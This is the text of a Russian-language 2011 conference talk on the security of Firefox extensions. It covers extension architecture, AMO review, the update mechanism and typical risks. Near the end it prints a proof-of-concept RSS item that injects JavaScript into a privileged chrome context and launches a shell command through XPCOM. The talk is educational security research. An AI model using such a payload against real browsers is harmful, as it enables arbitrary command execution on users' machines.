Безопасность расширений веб-браузеров. Mozilla Firefox
| Докладчик: | Тарас Иващенко oxdef@oxdef.info |
| Событие: | Chaos Constructions'2011, Санкт-Петербург |
Обо мне
План
- Архитектура Огнелиса
- Что представляет собой "аддон"
- (Без)опасность
- Каналы распространения - AMO
- Процедура обновления
- Примеры уязвимостей
Intro
Расширения в Огнелисе
Архитектура (1/2)
- XPI
- JavaScript
- XUL (XML User Interface Language)
- DOM (Document Object Model)
- CSS (Cascading Style Sheets)
- XPCOM/XPConnect
Addon
├── chrome
│ ├── content
│ │ ├── browserOverlay.js
│ │ └── browserOverlay.xul
│ ├── locale
│ │ └── en-US
│ │ ├── browserOverlay.dtd
│ │ └── browserOverlay.properties
│ └── skin
│ └── browserOverlay.css
├── chrome.manifest
└── install.rdf
Хром
- chrome://...
- Весь интерфейс
- Привелегированная зона браузера
- Главная цель для злоумышленника
- Хром-файлы расширения регистрируются с помощью chrome.manifest
Манифест установки
- Формат RDF/XML
- Название и описание, домашняя страница, автор
- Для какого приложения предназначено (например, FF или Thunderbird)
- updateURL и updateKey
XUL
<script type="application/x-javascript"
src="chrome://helloworld/content/browserOverlay.js" />
<menubar id="main-menubar">
<menu id="helloworld-hello-menu" label="&helloworld.hello.label;"
accesskey="&helloworld.helloMenu.accesskey;" insertafter="helpMenu">
<menupopup>
<menuitem id="helloworld-hello-menu-item"
label="&helloworld.hello.label2;"
accesskey="&helloworld.helloItem.accesskey;"
oncommand="XULSchoolChrome.BrowserOverlay.sayHello(event);" />
</menupopup>
</menu>
</menubar>
Каналы распространения
Каналы расспространения расширений Огнелиса можно разделить на два направления:
- Официальная галерея дополнений - addons.mozilla.org (сокр. AMO)
- Ресурс разработчика расширения
AMO - Особенности проверки
Предварительная проверка
- Выполняется обычно быстро (в течение 2-3 дней)
- Включает в себя анализ исходного кода расширения на предмет
багов безопасности и поиск мест, существенно нарушающих правилами размещения расширения на AMO
- Если проблем не обнаружено, то расширение ограниченно публикуется на AMO
- Каждое обновление расширения должно пройти через эту проверку
AMO - Особенности проверки
Полная проверка
- Обычно составляет до 10 дней
- По сути полноценное функциональное тестирование
- Обращается внимание на его производительность и влияние на работу браузера
- Аудит кода на предмет уязвимостей и использования лучших методик безопасного программирования и т.п.
Процедура обновления расширения (1/3)
За механизм обновления расширения отвечают 2 директивы манифеста установки: updateURL и updateKey.
- updateURL указывает на адрес специального манифеста обновлений, в котором описываются
доступные для расширения обновления и откуда их необходимо загрузить.
- Либо https, либо http + updateKey
<em:updateURL>https://www.foo.com/update.cgi?id=%ITEM_ID%&
version=%ITEM_VERSION%</em:updateURL>
Процедура обновления расширения (2/3)
updateKey есть ни что иное, как публичный ключ разработчика:
<em:updateKey>MIGfMA0GCS...nrzQIDAQAB</em:updateKey>
Используется редко.
Процедура обновления расширения (3/3)
- Огнелис продолжит проверять обновления в случае указания http-адреса манифеста обновления,
но установка обновления будет прервана, если и в обновлении http-ссылка.
- В случае использования AMO о доставке обновлений пользователям заботится уже AMO и указывать updateURL разработчику уже не имеет большого смысла.
- Проверка 20 наиболее популярных расширений на AMO показала, что разработчики не
стремяться заморачиваться со своими манифестами обновления, возложив это на AMO.
(Без)опасность
- Использование eval() ведёт к исполнению кода в контексте chrome
- "Песочницы": для исполнения кода evalInSandbox и для HTTP-соединений
- LoginManager как единое хранилище аутентификационной информации
- Отсутствие механизма привелегий/ограничений как у Google Chrome и Opera
- "The Greasemonkey Security Flaw": уязвимость в расширении == уязвимость в веб-браузере
Пример уязвимости
Firebug Firefox Extension Cross Context Scripting Vulnerability (by 80Vul Team)
Простой пример уязвимости
Демонстрация эксплуатации
<item><title>some title</title>
<link>data:eeee')+(function(){file=Components.classes
["@mozilla.org/file/local;1"].createInstance(
Components.interfaces.nsILocalFile);file.initWithPath("/bin/sh");
process=Components.classes["@mozilla.org/process/util;1"].
createInstance(Components.interfaces.nsIProcess);
process.init(file);args=["-c","galculator"];
process.run(false,args,args.length);})()+alert('XSS/foo</link>
<pubDate>Sun, 21 Aug 2011 21:34:10 +0400</pubDate>
<description>some text</description>
</item>
Outro
Расширения веб-браузеров бывают разные как и сами веб-браузеры. Одни расширения показывают
количество непрочтённых сообщений в вашем любимом социальном сервисе, другие превращают
веб-браузер в полноценный RSS-клиент. Так же и уязвимости в этих расширениях
могут привести как к небольшой шутке, так и к потере достаточно ценных данных и другим
существенным рискам. Будьте осторожны, устанавливайте вовремя обновления безопасности! ;)